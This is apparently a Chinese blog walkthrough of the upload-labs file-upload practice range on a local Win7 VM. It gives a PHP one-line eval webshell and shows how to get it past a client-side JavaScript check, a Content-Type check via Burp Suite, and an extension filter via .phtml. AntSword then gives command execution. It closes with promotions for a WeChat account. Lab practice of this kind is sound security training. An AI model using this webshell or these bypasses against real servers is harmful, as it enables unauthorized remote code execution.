由于自己的电脑是win10系统,上传一句话木马被系统自动拦截删除,文件上传的靶场安装在win7虚拟机。把upload-labs安装包复制到老版小皮的C:\phpstudy\PHPTutorial\WWW\
目录下解压,然后启用小皮,启用服务Apache,在运行模板边上切换版本选择【php版本】5.2.17。(说明:为什么选择老版本的小皮,是由于我实验的文件上传靶场很多功能要实验通过,有版本要求,在新版本的小皮无法验证对应功能点。老版本的小皮在win7虚拟机有自带)
一句话木马文件命名onehack.php
,在后面实验过程中都是同一个,源码内容如下
# 可连接服务端的
<?php
@eval($_POST['自定义密码'])
?>
打印服务器相关信息的,命名info.php
phpinfo();?>
先按符合条件上传,上传前按F12,选择Network看请求URL,然后再按上传一句话木马的文件onehack.php
,看是否请求,如果没有请求只是弹窗提示,那么先绕过前端的JS验证,再上传onehack.php
看是否成功。
正常上传一个图片,在网络看到请求URL是http://127.0.0.1/upload-labs/Pass-01/index.php
上传一句话木马,发现网络请求并没有变化,界面弹窗提示信息,因此可确定是属于前端JS验证。
从上面的步骤初步确定是前端JS验证,也得知文件上传请求的URL,可以copy网页源码下来,去掉form里面的onsubmit="return checkFile()"
,需要自己手动添加action,然后把文件上传请求的URL放到form的action。然后访问该html文件pass01.html
,选择onehack.php
上传,发现上传成功了。
获取得到地址http://127.0.0.1/upload-labs/upload/onehack.php
,在外部连接测试时,把127.0.0.1换成ipconfig查出的值就可以了。
使用蚁剑连接验证,可以连接成功,并且可以进入目标服务器的终端进行执行命令
直接上传一句话木马的文件info.php
,上传前按F12,选择Network看请求URL,发现直接请求服务端,返回验证文件内容类型不通过信息,可以断定是服务端的验证,因此要想办法绕过。可用Burp Suite拦截来处理。
看到拦截的内容有Content-Type: application/octet-stream
把它修改为图片的值,不知道的情况可以用正常上传成功的值Content-Type: image/jpeg
来替换,然后再点BP工具的Forward让提交到服务端。
直接上传一句话木马的文件info.php
,上传前按F12,选择Network看请求URL,发现直接请求服务端,返回文件名后缀验证不通过信息,可以断定是服务端的验证,因此要想办法绕过。可用Burp Suite拦截来处理。
httpd.conf文件在老版小皮Apache下,win7虚拟机路径是C:\phpstudy\PHPTutorial\Apache\conf\
由于后缀名的限制,要解析php文件,需要确认Apache的配置,在IfModule节点确认配置【application/x-httpd-php
配置】,我在后面再添加了.php3 .php4 .html
,除了php外有其他后缀名即可,在文件上传时可以用除.php外的后缀名解析为php。
AddType application/x-httpd-php .php .phtml .php3 .php4 .html
修改完保存一定要重启Apache服务才会生效。
先上传一句话木马的文件info.php
重命名为info.phtml,上传成功。
请关注我的公众号:大象只为你,回复:文件上传,获取文件上传漏洞靶场。
如果之前没有下载过win7虚拟机的话,请回复关键字:虚拟机,获取win7虚拟机,加载到VM ware即可用。
下期继续分享文件上传靶场实战,敬请关注我的公众号:大象只为你,持续更新中…